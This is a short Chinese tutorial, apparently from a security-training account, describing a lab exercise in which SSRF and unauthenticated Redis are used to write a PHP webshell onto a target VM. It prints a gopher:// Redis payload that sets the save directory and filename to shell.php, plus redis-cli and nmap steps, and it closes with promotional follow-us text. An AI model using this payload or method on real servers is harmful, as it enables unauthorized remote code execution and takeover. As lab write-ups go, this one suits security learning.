小编这几天一直在做关于ssrf的实验，这篇文章可以带纯小白黑客入门。
靶机ip地址：192.168.2.138
查看靶机运行的redis服务。
攻击机为ip192.168.2.112.
用客户端redis-cli连接攻击机。
然后输入命令。
最后用save来保存。
然后进入靶机的docker的redis看看有没有test.php.
查看一下test.php的内容。
此时，就可以用菜刀连接了。
那我们换种方式来。
先用kali来查看一下靶机（192.168.2.138）的6379端口的信息
用攻击机（192.168.1.112）来使用gopher-redis-auth-master来加载负载。
gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $34 *4 $6 config $3 set $3 dir $5 /data *4 $6 config $3 set $10 dbfilename $9 shell.php *1 $4 save
把这个复制到我的kali上，然后把127.0.0.1改成目标的ip
进入192.168.2.138靶机的的docker的/data上查看有无写入
成功写入。
查看dump.rdb的内容
此时，写入了一句话木马，这时候就可以用菜刀连接了。
最后还可以使用kali的nmap -p 6379 –script redis –info 192.168.2.138探测ssrf漏洞。
最后喜欢我文章的朋友请加圈子关注我们，私信关键词：学习。（送免费资料和优惠券）
就会自动分享给你微信号。欢迎大家加入我们的安全大家庭。提高大家的安全意识，提升大家的网络安全技能一直是我们的初衷和愿景，让我们共同成为守护信息世界的"SaFeMAN"。
还有可以关注我们微信公众号，在公众号上输入安界网，就可以关注到我们，领取资料和优惠券
,
